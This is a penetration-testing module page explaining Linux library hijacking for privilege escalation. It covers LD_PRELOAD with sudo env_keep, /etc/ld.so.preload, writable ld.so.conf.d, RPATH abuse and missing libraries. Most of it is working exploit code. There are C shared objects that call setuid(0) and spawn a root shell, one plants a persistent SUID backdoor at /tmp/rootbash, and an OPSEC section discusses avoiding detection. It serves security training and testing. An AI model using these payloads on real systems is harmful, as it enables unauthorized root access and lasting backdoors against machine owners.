Back to All Modules

Library Hijacking (Linux)

#Overview

Library hijacking exploits the dynamic linker's search order to inject malicious shared objects into privileged processes. When a SUID binary, sudo-allowed command, or root-owned cron job loads a shared library from a writable location, a low-privilege user can replace that library with a malicious version that executes arbitrary code as root.

#Prerequisites

  • User-level shell access
  • strace, ltrace, or ldd available
  • gcc or similar compiler to create shared objects
  • Writable directory in the library search path

#Detection & Enumeration

# Check LD_PRELOAD with sudo env_keep
sudo -l | grep -i env

# Check /etc/ld.so.preload
cat /etc/ld.so.preload
ls -la /etc/ld.so.preload

# Check ld.so.conf and included directories
cat /etc/ld.so.conf
ls -la /etc/ld.so.conf.d/

# Find writable directories in library path
ldconfig -p | grep -oP '/[^ ]+' | sort -u | while read dir; do
    [ -w "$dir" ] && echo "Writable: $dir"
done

# Check RPATH and RUNPATH of SUID binaries
readelf -d /path/to/suid_binary | grep -E "RPATH|RUNPATH"
objdump -x /path/to/suid_binary | grep -E "RPATH|RUNPATH"

# Find missing libraries via strace
strace /path/to/suid_binary 2>&1 | grep -i "ENOENT\|not found"
BASH

#Exploitation / Execution

#LD_PRELOAD with sudo (env_keep)

When sudo preserves LD_PRELOAD:

# Verify sudo -l shows env_keep includes LD_PRELOAD
sudo -l

# Create malicious shared object
cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF

gcc -shared -fPIC -o /tmp/exploit.so /tmp/exploit.c -nostartfiles

# Execute with sudo and LD_PRELOAD
sudo LD_PRELOAD=/tmp/exploit.so <allowed_command>
BASH

#/etc/ld.so.preload

If this file is writable or missing:

# Check permissions
ls -la /etc/ld.so.preload

# If writable, add your malicious library
echo "/tmp/exploit.so" > /etc/ld.so.preload

# Create the exploit.so as above
# Every subsequent command run by any user (including root's cron jobs) will load exploit.so
BASH

#Writable ld.so.conf.d/ Configurations

# Check if the config directory is writable
ls -la /etc/ld.so.conf.d/

# If writable, create a new config pointing to your malicious library path
echo "/tmp" > /etc/ld.so.conf.d/exploit.conf

# Copy exploit.so to /tmp
# Run ldconfig (may require root -- but will be run eventually by system)
ldconfig

# Or wait for a system update that triggers ldconfig
BASH

#RPATH/RUNPATH Relative Path Exploitation

When a SUID binary has a relative RPATH or RUNPATH:

# Check RPATH
readelf -d /usr/local/bin/vulnerable_suid | grep RPATH
# Example: RPATH = $ORIGIN/lib  (relative to binary location)

# If we can write to the binary's directory:
cp /usr/local/bin/vulnerable_suid /tmp/
# Now RPATH resolves to /tmp/lib

mkdir /tmp/lib
# Create malicious shared object matching a library the binary loads
ldd /tmp/vulnerable_suid
# Copy a dependency name and create exploit.so with that name

cp /tmp/exploit.so /tmp/lib/libdependency.so

# Run the binary (it loads our library due to RPATH)
/tmp/vulnerable_suid
BASH

#Missing Library Detection

# Run SUID binary under strace to identify missing libraries
strace /usr/local/bin/suid_binary 2>&1 | grep "ENOENT" | grep "\.so"

# Example output: open("/home/user/lib/libhelper.so") = -1 ENOENT

# Create the missing library
mkdir -p /home/user/lib
cat > /tmp/missing.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF

gcc -shared -fPIC -o /home/user/lib/libhelper.so /tmp/missing.c

# Run the SUID binary -- it loads our library now
/usr/local/bin/suid_binary
BASH

#Shared Object Structure

# Minimal escalation library:
cat > lib_exploit.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

// _init runs before main()
__attribute__((constructor)) void init() {
    if (geteuid() == 0) {
        setuid(0);
        setgid(0);
        system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash");
    }
}

// Alternative: hook a specific function
// If the binary calls system("ls"), override system():
// int system(const char *cmd) { ... }
EOF

gcc -shared -fPIC -o lib_exploit.so lib_exploit.c
BASH

#Common Pitfalls

  • LD_PRELOAD must be preserved by sudo's env_keep -- by default it is NOT preserved
  • Libraries loaded via /etc/ld.so.preload affect ALL processes -- including your own shell
  • RPATH-based attacks require writing to the binary's location or a relative path that is writable
  • The _init() and __attribute__((constructor)) functions run during library loading; if they crash, the parent process crashes
  • Some systems have nosuid mount option or other restrictions preventing SUID binary execution from /tmp
  • Libraries loaded by dlopen() follow different search rules than those loaded at program start

#OPSEC Considerations

  • Creating shared objects in /tmp is standard development practice, not inherently suspicious.
  • Modifying /etc/ld.so.preload is a system-wide change and will be detected by file integrity monitoring.
  • strace on SUID binaries generates audit events and may be blocked by ptrace restrictions.
  • Libraries loaded with LD_PRELOAD appear in /proc/<PID>/maps -- visible to process monitoring tools.

#Post-Exploitation Value

Library hijacking provides root command execution. The SUID backdoor created by the exploit (/tmp/rootbash) provides persistent root access. Since many processes load shared libraries, the scope of hijacking can extend beyond the initial target binary.

#Cross-References

#Source Machines

  • Generic Linux - LD_PRELOAD preserved via sudo env_keep